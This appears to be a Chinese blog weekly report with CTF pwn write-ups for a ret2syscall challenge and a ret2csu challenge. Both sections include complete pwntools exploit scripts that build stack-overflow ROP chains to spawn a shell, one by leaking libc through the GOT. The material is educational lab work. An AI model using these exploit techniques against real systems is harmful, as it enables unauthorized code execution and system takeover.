周报
简单分享一下这周做的部分题目
sysacll
0x1
拿到题还是先查看保护措施,然后运行一遍。
可以看到是64位小端序的程序,开启了NX堆栈不可执行和部分RELRO,继续使用IDA进行反编译分析。
通过分析,没有发现后门函数,而且可以看到main
函数非常简单,除去初始化的init
函数,就只调用了一个vuln
函数,进一步来分析这个vuln
函数。
可以看到首先清空了字符数组s,然后有两个read
函数来读取我们的输入,第一个read
向.bss段写入数据,第二个read
则是向s中写入数据;最后又清空了off_404018
,我已经标注了,这个地址是got表,got表被清空,意味着这道题无法使用libc的方法来解决;开启了NX堆栈不可执行且没有改变内存权限的函数,所以shellcode的方法也不起作用,所以这道题可以考虑syscall。(虽然题目已经说了这是syscall,这里还是分析一下)
这道题没有禁用execve
这个系统调用,而且又两个read
函数,因此我们可以尝试通过execve
这个系统调用来取得shell权限,进而取得flag。那么思路就非常明确,第一个read
我们传入/bin/sh\x00
,然后第二个read
用来溢出和构造ROP链。
那么payload1如下:
payload1 = b"/bin/sh\x00"
然后先用ROPgatget来查看一下gatgets。
操作rdi,rdx,rsi的gatgets都找到了,可是唯独没有控制rax的。但是要注意一点,read
函是有int型的返回值的,而函数的返回值一般会存在rax中,我们可以通控制输入的字节数量来影响rax的值,进而达到目的。但是这也就限制了输入的长度,先来动态调试看一看。
通过动态调试,首先找到了需要填充0x28个垃圾数据才能到达返回值,并且又意外发现,函数的最后执行了sub rax 0x20
这就意味着我们一共有0x3B+0x20-0x28 = 0x33的字节来构造我们的ROP链,很显然这不够我们使用,我们来看一看寄存器的情况。
发现rdi和rdx已经是0了,那我们就只需要去控制rsi和rax的值就可以了。
那么payload2如下:
patyload2 = b'a'*0x28 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(syscall_addr) + b'a' *0x1b
于是完整的EXP如下:
点击查看代码
from pwn import *
if __name__ == '__main__':
context.log_level = 'debug'
context(log_level='debug', arch='amd64', os='linux')
p = process('./ret2syscall.ret2syscall')
payload1 = b"/bin/sh\x00"
gdb.attach(p)
padding = 0x28
payload = b'a' * padding
pop_rdi_ret_addr = 0x401363
syscall_addr = 0x4012e6
binsh_addr = 0x404090
payload2 = b'a' * padding
payload2 += p64(pop_rdi_ret_addr) + p64(binsh_addr)
payload2 += p64(syscall_addr)
payload2 += b'a' * 0x1b
p.sendafter("First,what can of thing do you think is essential?", payload1)
p.sendafter("What do you think of the importance of reading?", payload2)
p.interactive()
ret2csu
0x2
拿到题还是先查看保护措施,然后运行一遍。
保护和上一道题一样,没什么说的。我们继续使用IDA反编译。
可以看到没有后门函数,main
函数非常简单,仅仅调用了一个dofunc
函数,我们来分析这个函数。
函数非常简单,read
函数存在溢出(填充0x8+0x8个字节即可)。这道题没有清空got表,故可以考虑使用libc中的system函数来取得shell。先来查看可用的gadgets。
发现没有可以用来控制rdx的,我们进一步查看init
函数中的gadgets。
发现init
函数中我们通过控制r12,r13,r14,来改变rdi,rsi和rdx的值。而且代码中还有call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
因此我们可以通过设置特定寄存器的值来执行write函数泄露并且泄露其真实地址。call指令结束之后,会对rbx+1然后比较rbp和rbx的值,如果不为零就会跳转,这肯定是我们不想要的,因此我们需要设计rbx和rbp的值。之后程序会继续向下执行,因此我们还需要7*0x8个垃圾数据来填充栈。然后返回到main函数,再次构造溢出来执行system函数取得shell权限。
在payload1中,主要的栈应当这样去布置。
因此payload1如下:
点击查看代码
payload1 = b'a' * 0x10 + p64(csu_addr1)
payload1 += p64(0) + p64(1)#rbx rbp
payload1 += p64(1) + p64(write_got_addr) + p64(6)# r12 r13 r14
payload1 += p64(write_got_addr)#15
payload1 += p64(csu_addr2)#ret
payload1 += p64(0) + p64(0) + p64(0) +p64(0) + p64(0) + p64(0) + p64(0)
payload1 += p64(dofunc_addr)
下面我我们来构造payload2。
payload2只需要将/bin/sh\x00
的地址存入rdi然后调用system
函数即可,但是system函数需要栈对齐,因此我们找一个空的ret地址就可以了。
那么payload2如下:
payload2 = b'a' * 0x10 + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
因此,完整的EXP如下:
点击查看代码
from pwn import *
if __name__ == '__main__':
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
write_got_addr = elf.got['write']
pop_rdi_ret_addr = 0x04011fb
csu_addr1 = 0x4011F2
csu_addr2 = 0x4011D8
dofunc_addr = 0x401132
gdb.attach(io)
payload1 = b'a' * 0x10 + p64(csu_addr1)
payload1 += p64(0) + p64(1)#rbx rbp
payload1 += p64(1) + p64(write_got_addr) + p64(6)# r12 r13 r14
payload1 += p64(write_got_addr)#15
payload1 += p64(csu_addr2)#ret
payload1 += p64(0) + p64(0) + p64(0) +p64(0) + p64(0) + p64(0) + p64(0)
payload1 += p64(dofunc_addr)
io.sendafter("input:" , payload1)
print(io.recv(3))
write_real_addr = u64(io.recv(6).ljust(8, b'\x00'))
print('write_real_addr: ' , hex(write_real_addr))
libc_base = write_real_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
ret_addr = 0x0401016
print('libc_base: ' , hex(libc_base))
print('system_addr: ' , hex(system_addr))
print('binsh_addr: ' , hex(binsh_addr))
payload2 = b'a' * 0x10 + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
io.sendafter("input:" , payload2)
io.interactive()
2024-11-17 11:05:10 星期日
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统